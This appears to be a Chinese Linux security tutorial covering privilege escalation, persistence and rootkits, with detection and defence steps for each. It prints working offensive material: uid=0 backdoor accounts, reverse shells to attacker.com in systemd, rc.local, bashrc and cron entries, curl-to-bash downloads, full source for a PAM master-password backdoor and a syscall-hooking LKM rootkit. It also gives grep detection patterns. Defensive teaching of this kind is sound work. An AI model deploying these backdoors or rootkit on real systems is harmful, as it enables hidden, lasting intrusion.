④ 用 livepatch / ksplice 减少重启需求

⑤ 定期检查:
   - uname -r 是否在维护期内
   - 发行版安全公告(Ubuntu Security Notices / RHEL Errata)
   - 用 vulners / linux-exploit-suggester 自动检测

⑥ 最小安装:不用的内核模块就不装(减少攻击面)
EOF

自动化检测工具:

# ========== linux-exploit-suggester(推荐)==========
# 根据内核版本自动推荐可能的提权 exploit
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
chmod +x les.sh
./les.sh --kernel 5.4.0-42-generic
# 或者让它自动检测
./les.sh

# 输出示例:
# [+] [CVE-2016-5195] dirtycow
#     Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
#     Exposure: less probable
#     Download URL: https://www.exploit-db.com/download/40616
#
# [+] [CVE-2021-4034] PwnKit
#     Exposure: probable
# ...

# ========== linpeas(最全面的提权信息收集)==========
# 不是 exploit 工具,是"帮你找提权点"的信息收集工具
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# 它会检查:
#   - SUID/SGID 文件
#   - sudo 权限
#   - capabilities
#   - cron 任务
#   - 可写的文件/目录
#   - 内核版本和已知漏洞
#   - 密码/密钥文件
#   - 容器逃逸可能
#   - 内部服务监听
#   - 等等几百项

# ========== 其他工具 ==========
# LinEnum     老牌信息收集脚本
# lse.sh      Linux Smart Enumeration
# BeRoot      Python 写的提权检查
# unix-privesc-check  静态分析工具

6.2.8 其他提权姿势速览

姿势 原理一句话 检测命令 防御
NFS no_root_squash NFS 共享没开 root 挤压,客户端 root = 服务端 root cat /etc/exports 找 no_root_squash 改成 root_squash
Docker 组 = root 用户加入 docker 组就能控制容器 → 挂载宿主机根目录 id 看是否在 docker 组 不要随便加 docker 组;用 rootless Docker
可写的 /etc/passwd 直接加一个 uid=0 的用户 ls -l /etc/passwd 644 root:root
可写的 /etc/shadow 直接改 root 密码 ls -l /etc/shadow 600 或 000 root:root
可写的 systemd service 改 ExecStart 指向恶意程序 find /etc/systemd -perm -o+w 644 root:root
密码复用 / 配置文件明文密码 配置文件里有数据库密码,且 root 也用同一个 grep -r "password" /var/www /opt 配置里不存明文密码;用密钥管理
环境变量里的密钥 env 里有 AWS_SECRET 等 env, /proc/*/environ 不用环境变量传密钥
历史命令里的密码 mysql -uroot -p123456 留在 history cat ~/.bash_history 命令前加空格(HISTCONTROL=ignorespace)
SSH 私钥泄露 私钥权限 777,或备份在 web 目录 find / -name "id_rsa" 2>/dev/null 600;用 passphrase
内核 exploit 见 6.2.7 uname -a + linux-exploit-suggester 打补丁 / livepatch
第三方服务漏洞 MySQL/Redis/Tomcat 以 root 跑,有漏洞 ps aux 看服务运行用户 服务用专用低权限用户跑
Redis 未授权 写 crontab / 写 authorized_keys / 写 so redis-cli -h x info 设密码 + bind + rename CONFIG

Docker 组 = root(最常见的“隐形 root”):

# 为什么 docker 组等价于 root?
# 因为 docker 守护进程以 root 运行,
# 而 docker 组的成员可以直接和 docker.sock 通信 → 能控制守护进程

# 利用(一条命令拿到宿主机 root):
docker run -it --rm -v /:/host alpine chroot /host sh
# 或者
docker run -it --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh

# ★ 检测:谁在 docker 组
getent group docker
# docker:x:999:alice,bob
#            ↑ 这些人都等价于 root!

# ★ 防御:
# ① 不要随便把用户加入 docker 组
#    (很多人以为"docker 组只是能用 docker",大错特错)
# ② 用 rootless Docker(Docker 20.10+ 支持)
#    curl -fsSL https://get.docker.com/rootless | sh
# ③ 或者用 Podman(默认无守护进程,天然 rootless)
# ④ 审计:定期检查 docker 组成员

6.3 Linux 持久化与后门

提权是“拿到权限”,持久化是“留下来”。

生活类比: 小偷进你家偷完东西走了,那是“入侵”。 但如果他配了一把钥匙、在你家隐蔽处装了摄像头、 还在门框上做了标记——那是“持久化”。 你换锁、装监控,他还是能进来,而且知道你什么时候在家。

6.3.1 持久化的六个层次

┌────────────────────────────────────────────────────────────┐
│  层次            机制                    检测难度           │
├────────────────────────────────────────────────────────────┤
│  ① 用户态-账户   新增用户、改密码、SSH key     ★☆☆☆☆ 容易   │
│  ② 用户态-服务   systemd/init/rc.local         ★★☆☆☆       │
│  ③ 用户态-定时   cron/systemd timer/at         ★★☆☆☆       │
│  ④ 用户态-库      LD_PRELOAD / .so 劫持        ★★★☆☆       │
│  ⑤ 用户态-替换   替换 ls/ps/netstat 等命令     ★★★★☆       │
│  ⑥ 内核态        LKM Rootkit / eBPF            ★★★★★ 很难  │
└────────────────────────────────────────────────────────────┘

★ 越往下越难检测,但也越难稳定实现
  大部分攻击者用 ①②③(简单可靠)
  APT 用 ④⑤⑥(隐蔽)

6.3.2 账户类持久化

# ========== ① 新增一个 uid=0 的用户(最粗暴)==========
# 方法 A:直接改 /etc/passwd
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd
echo 'backdoor:$1$salt$hash:0:0::/root:/bin/bash' >> /etc/shadow
# 或者用 openssl 生成密码
openssl passwd -1 -salt xyz password123
# 输出:$1$xyz$xxxxxxxxxxxxxxxxxxxxx

# 方法 B:useradd 之后改 uid
useradd -m -s /bin/bash backdoor
passwd backdoor
sed -i 's/^backdoor:x:1001:/backdoor:x:0:/' /etc/passwd
#                      ↑ 改成 0 = root

# 方法 C:加一个用户名叫 root 的第二个条目(更隐蔽)
# /etc/passwd 里可以有两个 uid=0 的条目,
# 系统会用第一个匹配到的,但两个都能登录
echo 'root2:x:0:0::/root:/bin/bash' >> /etc/passwd

# ★ 检测:找所有 uid=0 的账号
awk -F: '$3 == 0 {print "uid=0 的账号: " $1}' /etc/passwd
# 正常应该只有 root!

# ========== ② 改现有用户密码 ==========
# (会暴露,因为正常用户下次登不上)
echo 'root:newpassword' | chpasswd

# ========== ③ ★ SSH authorized_keys(最常用、最实用)==========
# 为什么攻击者最爱用这个?
#   - 隐蔽(在用户的 home 目录下,不起眼)
#   - 可靠(SSH 密钥认证,不需要密码)
#   - 不会被改密码影响
#   - 不会被重启影响

# 植入
mkdir -p /root/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2E...攻击者公钥...' >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

# ★ 更隐蔽的做法:用 command= 限制(看起来像正常配置)
echo 'command="/bin/bash -i" ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys

# ★ 检测
for home in /root /home/*; do
    if [ -f "$home/.ssh/authorized_keys" ]; then
        echo "=== $home/.ssh/authorized_keys ==="
        cat "$home/.ssh/authorized_keys"
        # 检查修改时间
        stat -c "  修改时间: %y" "$home/.ssh/authorized_keys"
    fi
done

# 检查所有用户的 authorized_keys
find / -name "authorized_keys" -o -name "authorized_keys2" 2>/dev/null

# ★ 防御:
#  ① /etc/ssh/sshd_config 里限制只允许特定位置
#     AuthorizedKeysFile /etc/ssh/authorized_keys/%u
#     (集中管理,用户目录里的不生效)
#  ② 用 SSH 证书认证(CA 签发短期证书,不用 authorized_keys 文件)
#  ③ 用 auditd 监控 authorized_keys 的变化
#     -w /root/.ssh/authorized_keys -p wa -k ssh_key_tamper
#  ④ 只读挂载 home 目录(对不需要写 home 的服务器)

# ========== ④ 修改 /etc/passwd 的 shell 字段 ==========
# 把一个系统账号(如 nobody、bin)的 shell 改成 /bin/bash
# 并给它设密码 → 得到一个"看起来无害"的登录账号
sed -i 's|^nobody:x:65534:65534:.*:/usr/sbin/nologin$|nobody:x:65534:65534::/home/nobody:/bin/bash|' /etc/passwd

# ★ 检测:找所有能登录的 shell
grep -vE '/(nologin|false|sync)$' /etc/passwd
# 列出所有 shell 不是 nologin/false 的账号,逐个确认是否合理

# ========== ⑤ PAM 后门(见 6.3.6)==========

6.3.3 服务类持久化

# ========== ① systemd 服务(现代 Linux 主流)==========
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always              # ★ 挂了自动重启
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service

# ★ 隐蔽技巧:
#   - 服务名起得像系统服务(system-update、dbus-helper、syslog-ng)
#   - Description 写得正常
#   - 用 Restart=always 保证一直活着
#   - ExecStart 可以用 base64 编码的脚本,避免明文出现在文件里

# ★ 检测:
systemctl list-unit-files --type=service --state=enabled
# 逐个检查,特别注意:
#   - 名字像系统服务的
#   - ExecStart 里有 bash -i、/dev/tcp、curl|bash 的
#   - 创建时间和系统安装时间不一致的

# 检查所有 service 文件的修改时间
ls -la --time-style=full-iso /etc/systemd/system/*.service | sort -k6

# 检查 ExecStart 里的可疑命令
grep -rE 'bash -i|/dev/tcp|nc -e|curl.*\|.*bash|wget.*\|.*sh|python.*socket|base64 -d' \
    /etc/systemd/system/ /lib/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null

# 更彻底:检查所有 service 文件的完整性和签名
systemd-analyze verify /etc/systemd/system/*.service

# ========== ② SysV init 脚本(老系统)==========
cat > /etc/init.d/sysupd << 'EOF'
#!/bin/bash
### BEGIN INIT INFO
# Provides:          sysupd
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: System Update
### END INIT INFO

case "$1" in
  start)
    /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &
    ;;
  stop)
    ;;
esac
exit 0
EOF
chmod +x /etc/init.d/sysupd
update-rc.d sysupd defaults

# ========== ③ rc.local(简单粗暴)==========
echo '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1" &' >> /etc/rc.local
chmod +x /etc/rc.local

# ★ 检测:
cat /etc/rc.local
ls -la /etc/rc*.d/
# 检查 /etc/rc.local 是否被修改(正常应该是空的或只有 exit 0)

# ========== ④ shell 配置文件(★ 最隐蔽的用户态持久化之一)==========
# 原理:用户每次登录/开 shell 都会执行这些文件
echo '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1" &' >> /root/.bashrc
echo '/bin/bash -c "..." &' >> ~/.bash_profile
echo '/bin/bash -c "..." &' >> ~/.profile

# 全局的(影响所有用户)
echo '/bin/bash -c "..." &' >> /etc/profile
echo '/bin/bash -c "..." &' >> /etc/bash.bashrc
ls /etc/profile.d/
cat > /etc/profile.d/00-system.sh << 'EOF'
# 看起来像正常的环境变量配置
export PATH=$PATH:/usr/local/bin
# 藏一行后门
(/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &) >/dev/null 2>&1
EOF

# ★ 为什么难检测?
#   因为这些文件本来就经常改(配环境变量、alias),
#   加一行看起来很正常

# ★ 检测:
# ① 检查所有 shell 配置文件的内容
for f in /etc/profile /etc/bash.bashrc /etc/profile.d/* \
         /root/.bashrc /root/.profile /root/.bash_profile \
         /home/*/.bashrc /home/*/.profile; do
    if [ -f "$f" ]; then
        SUSPICIOUS=$(grep -nE 'bash -i|/dev/tcp|nc -|curl.*\|.*sh|wget.*\|.*sh|python.*socket|base64|eval' "$f")
        if [ -n "$SUSPICIOUS" ]; then
            echo "[!] $f"
            echo "$SUSPICIOUS"
        fi
    fi
done

# ② 对比修改时间(系统安装后不应该再变)
ls -la --time-style=full-iso /etc/profile /etc/bash.bashrc

# ========== ⑤ xinetd / inetd(老式超级守护进程)==========
# 配置一个服务,外部连特定端口就给 shell
# /etc/xinetd.d/backdoor
service backdoor
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    wait = no
    user = root
    port = 31337
    server = /bin/bash
    server_args = -i
}

6.3.4 定时任务类持久化

(提权部分已详细讲过原理,这里从持久化角度补充)

# ========== 攻击者常用的 crontab 后门 ==========

# ① 反弹 shell(最直白)
echo '*/5 * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /etc/crontab

# ② 每分钟检查一次,如果后门不在就重建(自愈)
cat > /etc/cron.d/sysmon << 'EOF'
* * * * * root [ -f /tmp/.backdoor ] || cp /usr/share/.hidden/bd /tmp/.backdoor
EOF

# ③ 更隐蔽:下载执行(不落地)
echo '*/10 * * * * root curl -s http://attacker.com/x.sh | bash' >> /etc/crontab

# ④ 隐藏在正常脚本里
# 不新增 crontab 条目,而是在已有的系统脚本末尾追加一行
echo '# 日志清理' >> /etc/cron.daily/logrotate
echo 'curl -s http://attacker.com/x.sh | bash' >> /etc/cron.daily/logrotate
# ★ 这样 crontab 列表看起来完全正常

# ⑤ 用 @reboot(开机执行)
echo '@reboot root /tmp/.backdoor' >> /etc/crontab

# ========== 检测 ==========
# ① 列出所有 cron
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
for u in $(cut -f1 -d: /etc/passwd); do
    echo "--- $u ---"
    crontab -l -u $u 2>/dev/null
done
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# ② 检查 cron 脚本内容里的可疑命令
grep -rnE 'bash -i|/dev/tcp|curl.*\|.*(ba)?sh|wget.*\|.*(ba)?sh|base64 -d|eval' \
    /etc/crontab /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ \
    /etc/cron.weekly/ /etc/cron.monthly/ /var/spool/cron/ 2>/dev/null

# ③ 检查 cron 日志(能看到实际执行了什么)
grep CRON /var/log/syslog | tail -50
# 或者
journalctl _COMM=cron --since "1 day ago"

# ④ 检查修改时间
ls -la --time-style=full-iso /etc/crontab /etc/cron.d/*

6.3.5 ★ SSH 后门(四种)

# ========== ① PAM 后门(★ 最难检测)==========
# 原理:PAM 是 Linux 的认证框架,sshd/su/sudo/login 都走它。
#       在 PAM 里加一个"万能密码"模块,任何用户用这个密码都能登录。

# 编译恶意 PAM 模块
cat > pam_backdoor.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>

#define BACKDOOR_PASSWORD "s3cr3t_backdoor_2026"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                    int argc, const char **argv) {
    const char *password;
    int retval;

    // 获取用户输入的密码
    retval = pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (retval != PAM_SUCCESS) {
        return PAM_AUTH_ERR;
    }

    // ★ 万能密码:只要密码是这个,直接认证成功
    if (password && strcmp(password, BACKDOOR_PASSWORD) == 0) {
        // 记录到隐蔽日志(可选)
        // syslog(LOG_INFO, "backdoor used");
        return PAM_SUCCESS;
    }

    // 其他情况走正常认证
    return PAM_AUTH_ERR;
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
                               int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags,
                                 int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags,
                                    int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags,
                                     int argc, const char **argv) {
    return PAM_SUCCESS;
}
EOF

gcc -fPIC -shared -o pam_backdoor.so pam_backdoor.c -lpam
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/

# 修改 PAM 配置(插到最前面,优先匹配)
# /etc/pam.d/sshd
#   auth sufficient pam_backdoor.so     ← ★ 加在第一行
#   @include common-auth
# 
# "sufficient" 表示:这个模块成功就算认证通过
# 放在第一行 → 万能密码优先

# 效果:任何用户(包括 root)用 s3cr3t_backdoor_2026 都能 SSH 登录
#       而且正常的密码也一样能用(不影响正常业务,所以很难被发现!)

# ★ 检测:
# ① 检查 PAM 配置文件
cat /etc/pam.d/sshd
cat /etc/pam.d/common-auth
cat /etc/pam.d/su
cat /etc/pam.d/login

# ② 检查 PAM 模块目录里的文件
ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/
# 特别注意:
#   - 修改时间和系统安装时间不一致的
#   - 名字不在标准 PAM 模块列表里的
#   - 无发行版签名的

# 标准 PAM 模块列表(Ubuntu/Debian):
#   pam_access.so  pam_debug.so  pam_deny.so  pam_echo.so
#   pam_env.so  pam_exec.so  pam_faildelay.so  pam_filter/
#   pam_ftp.so  pam_group.so  pam_issue.so  pam_keyinit.so
#   pam_lastlog.so  pam_limits.so  pam_listfile.so  pam_localuser.so
#   pam_loginuid.so  pam_mail.so  pam_mkhomedir.so  pam_motd.so
#   pam_namespace.so  pam_nologin.so  pam_permit.so  pam_pwhistory.so
#   pam_rhosts.so  pam_rootok.so  pam_securetty.so  pam_selinux*
#   pam_shells.so  pam_succeed_if.so  pam_tally*.so  pam_time.so
#   pam_timestamp.so  pam_tty_audit.so  pam_umask.so  pam_unix*
#   pam_userdb.so  pam_warn.so  pam_wheel.so  pam_xauth.so
#   pam_systemd.so  pam_sss.so  pam_ldap.so  pam_krb5.so
#   pam_faillock.so  pam_pwquality.so  pam_google_authenticator.so
# ★ 出现列表外的 .so → 高度可疑

# ③ 用包管理器验证(推荐)
# Debian/Ubuntu:
dpkg -V libpam-modules        # 验证 PAM 包的文件是否被修改
# RHEL/CentOS:
rpm -V pam

# ④ 抓包/日志分析
# PAM 后门虽然隐蔽,但登录日志里会有记录
last | head -20
grep "Accepted password" /var/log/auth.log
# 看有没有异常时间、异常 IP 的登录

# ========== ② SSH 软链接后门 ==========
# 原理:sshd 有些版本允许通过 -o 选项指定配置文件,
#       用软链接把正常的配置指向恶意配置

# 或者更常见的:把 sshd 换成 wrapper(见 ③)

# ========== ③ SSH Wrapper 后门(替换 sshd 二进制)==========
# 原理:把真正的 sshd 改名,然后放一个假的 sshd 脚本,
#       假脚本先记录密码,再调用真的 sshd

mv /usr/sbin/sshd /usr/sbin/sshd_orig

cat > /usr/sbin/sshd << 'EOF'
#!/bin/bash
# 假的 sshd:记录密码

# 读取密码(简化,实际更复杂)
# 这里用 strace 或者修改 PAM 才能真正拿到明文密码
# 简化版:只记录登录尝试

LOG="/var/log/.sshd_log"

# 调用真正的 sshd,同时记录
/usr/sbin/sshd_orig "$@" 2>&1 | tee -a "$LOG"

exit ${PIPESTATUS[0]}
EOF

chmod +x /usr/sbin/sshd

# ★ 检测(非常有效):
# ① 用包管理器验证 sshd 的完整性
dpkg -V openssh-server        # Debian/Ubuntu
rpm -V openssh-server         # RHEL/CentOS
# 如果 sshd 被改过,会输出提示

# ② 检查文件大小和修改时间
ls -la /usr/sbin/sshd
stat /usr/sbin/sshd
# 对比同版本其他机器的 sshd 大小

# ③ 检查是二进制还是脚本
file /usr/sbin/sshd
# 正常:ELF 64-bit LSB shared object
# 后门:Bourne-Again shell script ← ★ 一眼识破

# ④ 用 md5sum 对比
md5sum /usr/sbin/sshd
# 和官方包的 md5 对比

# ========== ④ SSH authorized_keys 的 command 后门 ==========
# 原理:authorized_keys 里可以指定 command,
#       登录时不执行用户的 shell,而是执行指定命令

# 攻击者在自己的公钥前加:
echo 'command="echo OK; /bin/bash -i" ssh-rsa AAAAB3...' >> /root/.ssh/authorized_keys

# 或者更隐蔽:看起来像是限制,实际是后门
echo 'from="1.2.3.4",command="/bin/bash" ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys

# ★ 检测:检查 authorized_keys 里的 command= 和 from=
grep -rn "command=\|from=\|environment=" /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null

6.3.6 ★ Rootkit(内核态后门)

白话:

Rootkit = Root(root 权限)+ kit(工具包)
= "拿到 root 权限后用来维持控制 + 隐藏自己"的工具包。

★ Rootkit 的核心能力不是"提权",是"隐藏":
  - 隐藏进程(ps 看不到)
  - 隐藏文件(ls 看不到)
  - 隐藏网络连接(netstat/ss 看不到)
  - 隐藏端口(nmap 扫不到)
  - 隐藏加载的模块(lsmod 看不到)
  - 隐藏自己(lsmod / ls / cat 都看不到它)

生活类比:
  普通后门 = 在你家装了个窃听器(你能找到)
  Rootkit = 在你家装了窃听器,还买通了你家的保姆,
            每次你找窃听器,保姆就提前把它藏起来

三种 Rootkit 对比:

类型 实现方式 检测难度 稳定性 代表
用户态 Rootkit 替换 ls/ps/netstat 等命令,或 LD_PRELOAD ★★★☆☆ 高 各种改过的二进制
LKM Rootkit 加载内核模块(.ko),hook 系统调用表 ★★★★★ 中 Diamorphine、Reptile
eBPF Rootkit 用 eBPF 程序 hook 内核函数(新型,很难检测) ★★★★★★ 高 Boopkit、ebpfkit

① LKM Rootkit 原理:

Linux 内核通过【系统调用表(sys_call_table)】
把用户态的 open/read/write/getdents 等调用
映射到内核函数的地址。

LKM Rootkit 的做法:
  1. 加载一个内核模块(insmod rootkit.ko)
  2. 找到 sys_call_table 的地址
     (从 /proc/kallsyms 或 System.map 读)
  3. 把某个系统调用的地址【替换成自己的函数】
     比如把 __NR_getdents(列目录)替换成 fake_getdents
  4. fake_getdents 调用真正的 getdents,
     然后【过滤掉结果里要隐藏的文件】
  5. 返回给用户态 → ls 看不到那些文件

★ 为什么难检测?
  因为 ls 本身没被改(二进制是完好的),
  是【内核返回了假数据】。
  你用任何用户态工具查,看到的都是被过滤后的结果。

LKM Rootkit 代码示例(教学版):

/*
 * simple_lkm_rootkit.c —— 最简 LKM Rootkit(教学演示)
 *
 * 功能:
 *   ① 隐藏指定文件(hook getdents64)
 *   ② 隐藏模块自己(lsmod 看不到)
 *   ③ 提供 root 后门(通过特殊信号触发)
 *
 * 编译:需要内核头文件
 *   sudo apt install linux-headers-$(uname -r)
 *   make
 *
 * 加载:sudo insmod rootkit.ko
 * 卸载:sudo rmmod rootkit(但隐藏后需要用特殊方法)
 *
 * ★ 仅用于授权环境学习
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/cred.h>
#include <linux/sched/signal.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("demo");
MODULE_DESCRIPTION("Simple LKM Rootkit for Education");

/* 要隐藏的文件名 */
#define HIDE_PREFIX "rootkit"

/* ============================================================
 * 保存原始系统调用
 * ============================================================ */
static unsigned long **sys_call_table;

/* 原始的 getdents64 和 kill */
asmlinkage long (*orig_getdents64)(unsigned int fd,
                                    struct linux_dirent64 *dirent,
                                    unsigned int count);
asmlinkage long (*orig_kill)(pid_t pid, int sig);

/* ============================================================
 * ① 伪造的 getdents64:过滤掉要隐藏的文件
 *
 * getdents64 是"列出目录内容"的系统调用
 * ls、find、ps(读 /proc)都用它
 * ============================================================ */
asmlinkage long fake_getdents64(unsigned int fd,
                                 struct linux_dirent64 *dirent,
                                 unsigned int count) {
    long ret;
    struct linux_dirent64 *cur, *prev = NULL;
    unsigned long offset = 0;

    /* 调用真正的 getdents64 */
    ret = orig_getdents64(fd, dirent, count);
    if (ret <= 0) {
        return ret;
    }

    /* 遍历返回的结果,过滤掉要隐藏的项 */
    cur = dirent;
    while (offset < ret) {
        /* d_reclen 是当前项的长度 */
        /* 如果要隐藏,就把下一项往前挪,覆盖这一项 */
        if (strstr(cur->d_name, HIDE_PREFIX) != NULL) {
            if (prev) {
                /* 不是第一项:把后面的数据前移 */
                memmove(cur,
                        (char *)cur + cur->d_reclen,
                        ret - offset - cur->d_reclen);
                ret -= cur->d_reclen;
                continue;    /* 不移动 offset,重新检查当前位置 */
            } else {
                /* 是第一项:直接跳过 */
                memmove(cur,
                        (char *)cur + cur->d_reclen,
                        ret - cur->d_reclen);
                ret -= cur->d_reclen;
                continue;
            }
        }

        prev = cur;
        offset += cur->d_reclen;
        cur = (struct linux_dirent64 *)((char *)dirent + offset);
    }

    return ret;
}

/* ============================================================
 * ② 伪造的 kill:用特殊信号触发提权
 *
 * 用法:kill -64 <任意pid>
 *   → 当前进程变成 root(setuid(0))
 *
 * 为什么用 kill?
 *   因为 kill 是很常见的系统调用,不容易被怀疑
 *   而且信号 64 是用户自定义信号,正常程序不会用
 * ============================================================ */
#define ROOT_SIGNAL 64

asmlinkage long fake_kill(pid_t pid, int sig) {
    struct cred *new_cred;

    if (sig == ROOT_SIGNAL) {
        printk(KERN_INFO "[rootkit] 收到提权信号\n");

        /* 准备新的凭证(cred 结构) */
        new_cred = prepare_creds();
        if (new_cred == NULL) {
            return orig_kill(pid, sig);
        }

        /* 把 uid/gid 全设为 0(root) */
        new_cred->uid.val = 0;
        new_cred->gid.val = 0;
        new_cred->euid.val = 0;
        new_cred->egid.val = 0;
        new_cred->suid.val = 0;
        new_cred->sgid.val = 0;
        new_cred->fsuid.val = 0;
        new_cred->fsgid.val = 0;

        /* 应用新的凭证 */
        commit_creds(new_cred);

        return 0;
    }

    return orig_kill(pid, sig);
}

/* ============================================================
 * ③ 隐藏模块自己
 *
 * 原理:内核用双向链表管理所有模块(THIS_MODULE->list)
 *       把自己从链表里摘掉 → lsmod 遍历链表就看不到我们
 * ============================================================ */
static void hide_module(void) {
    list_del_init(&THIS_MODULE->list);
    /* 还要从 kobject 里摘掉,否则 /sys/module 里还能看到 */
    kobject_del(&THIS_MODULE->mkobj.kobj);
    THIS_MODULE->sect_attrs = NULL;
    THIS_MODULE->notes_attrs = NULL;
}

/* ============================================================
 * 模块初始化
 * ============================================================ */
static int __init rootkit_init(void) {
    printk(KERN_INFO "[rootkit] 加载中...\n");

    /* ① 找到系统调用表的地址 */
    sys_call_table = (unsigned long **)kallsyms_lookup_name("sys_call_table");
    if (!sys_call_table) {
        printk(KERN_ALERT "[rootkit] 找不到 sys_call_table\n");
        return -1;
    }

    /* ② 关闭写保护(CR0 寄存器的 WP 位) */
    /*    内核内存默认是只读的,要改必须先关 WP */
    write_cr0(read_cr0() & (~0x10000));

    /* ③ 保存原始函数地址 */
    orig_getdents64 = (void *)sys_call_table[__NR_getdents64];
    orig_kill = (void *)sys_call_table[__NR_kill];

    /* ④ 替换成我们的函数(hook) */
    sys_call_table[__NR_getdents64] = (unsigned long *)fake_getdents64;
    sys_call_table[__NR_kill] = (unsigned long *)fake_kill;

    /* ⑤ 恢复写保护 */
    write_cr0(read_cr0() | 0x10000);

    /* ⑥ 隐藏自己 */
    hide_module();

    printk(KERN_INFO "[rootkit] 加载完成,已隐藏\n");
    return 0;
}

/* ============================================================
 * 模块卸载
 * ============================================================ */
static void __exit rootkit_exit(void) {
    /* 恢复原始系统调用 */
    write_cr0(read_cr0() & (~0x10000));
    sys_call_table[__NR_getdents64] = (unsigned long *)orig_getdents64;
    sys_call_table[__NR_kill] = (unsigned long *)orig_kill;
    write_cr0(read_cr0() | 0x10000);

    printk(KERN_INFO "[rootkit] 已卸载\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

★ Rootkit 检测(六大方法):

#!/bin/bash
# ============================================
# Rootkit 检测方法大全
# ============================================

echo "===== 方法 1:交叉验证(★ 最有效,不需要装任何工具)====="
echo "原理:用【不同层级】的方式获取同一个信息,对比差异"
echo "      Rootkit 只能 hook 用户态或某个系统调用,"
echo "      不可能把所有路径都 hook 掉"

echo ""
echo "--- 1.1 进程数交叉验证 ---"
PS_COUNT=$(ps -e --no-headers 2>/dev/null | wc -l)
PROC_COUNT=$(ls -d /proc/[0-9]* 2>/dev/null | wc -l)
echo "  ps 报告:       $PS_COUNT"
echo "  /proc 实际:    $PROC_COUNT"
if [ "$PROC_COUNT" -gt "$PS_COUNT" ]; then
    echo "  [!!!] 差异 $((PROC_COUNT - PS_COUNT)) → 有进程被隐藏"
    # 找出被隐藏的 PID
    comm -13 <(ps -e --no-headers | awk '{print $1}' | sort) \
             <(ls -d /proc/[0-9]* | xargs -n1 basename | sort)
fi

echo ""
echo "--- 1.2 网络连接交叉验证 ---"
SS_COUNT=$(ss -tun 2>/dev/null | tail -n +2 | wc -l)
PROCNET_TCP=$(($(wc -l < /proc/net/tcp) - 1))
PROCNET_UDP=$(($(wc -l < /proc/net/udp) - 1))
echo "  ss 报告 TCP:      $(ss -t 2>/dev/null | tail -n +2 | wc -l)"
echo "  /proc/net/tcp:    $PROCNET_TCP"
echo "  ss 报告 UDP:      $(ss -u 2>/dev/null | tail -n +2 | wc -l)"
echo "  /proc/net/udp:    $PROCNET_UDP"

echo ""
echo "--- 1.3 文件交叉验证 ---"
# 用不依赖 getdents 的方式遍历(比如用 debugfs 直接读块设备)
# 简化版:对比 find 和 ls 的结果
echo "  ls /tmp 看到: $(ls -A /tmp 2>/dev/null | wc -l)"
echo "  find /tmp 看到: $(find /tmp -maxdepth 1 2>/dev/null | wc -l)"

echo ""
echo "--- 1.4 系统调用表检查 ---"
if [ -r /proc/kallsyms ]; then
    # 检查 sys_call_table 里的地址是否都指向内核地址空间
    # (正常都应该在 ffffffff80000000 以上)
    echo "  sys_call_table: $(grep -w sys_call_table /proc/kallsyms | head -1)"
fi

echo ""
echo "===== 方法 2:用静态编译的工具(Rootkit 劫持不了)====="
cat << 'EOF'
  静态编译的程序不依赖 libc 的 readdir,
  所以 LD_PRELOAD 类 Rootkit 对它无效。

  # 安装静态 busybox
  apt install busybox-static
  # 用 busybox 的命令做检测
  busybox ps aux
  busybox ls -la /proc
  busybox netstat -tunlp

  # 对比:
  ps aux | wc -l          vs   busybox ps aux | wc -l
  ls /proc | wc -l        vs   busybox ls /proc | wc -l
EOF

echo ""
echo "===== 方法 3:用专业工具扫描 ====="
cat << 'EOF'
  # chkrootkit(经典,但有些年头了)
  apt install chkrootkit
  chkrootkit

  # rkhunter(更全面,带签名库)
  apt install rkhunter
  rkhunter --update
  rkhunter --check --sk

  # 检查项包括:
  #   - 已知 Rootkit 的文件特征
  #   - 系统命令的 MD5 校验
  #   - 隐藏的进程/端口
